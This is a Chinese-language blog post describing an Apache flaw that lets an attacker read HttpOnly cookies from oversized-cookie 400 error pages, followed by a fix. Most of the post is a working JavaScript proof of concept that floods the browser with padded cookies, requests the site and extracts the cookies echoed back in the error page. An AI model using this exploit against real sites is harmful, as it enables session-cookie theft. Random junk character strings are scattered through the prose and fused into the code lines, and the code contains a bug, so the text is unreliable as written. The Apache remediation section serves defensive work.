Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

  C  s5 e7 R# Q( H. W8 _! m用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:

. ]) V( X5 G6 n3 P, l8 s
// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
4 b1 l( v6 c/ B% i// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
1 Z7 i- H2 m5 Y; h* a// Set cookies
( Z$ I. w8 p# x& K% o  {  kfor (i = 0; i < 10; i++) {
9 `1 u  m6 n7 C// Expire evil cookie
0 q4 C  u* N4 z7 s( d, B7 D9 h3 Gif (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
/ G- H% }3 u6 j4 ^2 w}
document.cookie = cookie;
* N2 M! ~( Y! O4 |8 k( s: r* a/ v% I}
: {" |$ Q' m( x; T* ^}
) R2 A2 S" ]% U( ofunction makeRequest() {
2 |( y+ u) B! }( {" tsetCookies();
function parseCookies () {
var cookie_dict = {};
2 H! t# D( `% G8 \( O$ P1 \// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
1 ]) ]5 ]# h* x8 N& w. k// Replace newlines and match <pre> content
+ l# K7 b4 K  Yvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
7 b/ b' K# f3 }5 x+ J4 C/ F& x, n// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
2 B9 L! {( Y* `// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
- I! q' Y- F* a0 N9 Z% L: Tcookie_dict[s_c[0]] = s_c[1];
}
}
" S* S6 B+ g* b% L' |// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
" ?, C3 G2 l& d9 p* y, H0 E}
}
- l9 E/ R( J5 l3 u& e, ]* M- C// Make XHR request
9 _8 e" O: A9 G0 t! S) v4 p" Vvar xhr = new XMLHttpRequest();
. G% o8 a: H9 \2 i' ]  g, kxhr.onreadystatechange = parseCookies;
/ {! i& U7 B; z' d; F' axhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();

+ e3 |: x# w2 Y9 }2 X% g' A. U你就能看见华丽丽的400错误包含着cookie信息。

4 r) o* v# C/ R, a) D, u下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

: r& Z. O8 K+ X$ X) B2 ~修复方案：
( M. E( f0 Q/ n  c/ J% P
: Y0 r" K6 M/ p6 ^. DApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
. D4 f2 |0 H+ n" O  u
In the event of a problem or error, Apachecan be configured to do one of four things,
* @; ?7 D3 Y8 p- W: i
8 o: ^* S2 T" [+ T0 Z  n' J! C1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

, b; w7 @8 k1 q1 }# y# q' k经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

3 f, b8 K4 P. r9 W+ m9 KApache配置：
# i9 F9 k2 C* }/ e0 i! \+ {! i6 }
. i2 N$ \; Z5 x2 aErrorDocument400 " security test"
' E2 ~5 U; G3 S3 G5 F
当然，升级apache到最新也可：）。
6 A2 u' ^" Z6 H* v
( S; b$ h  |' H参考：http://httpd.apache.org/security/vulnerabilities_22.html
) y9 t& A. F+ U0 G1 c0 g5 S) _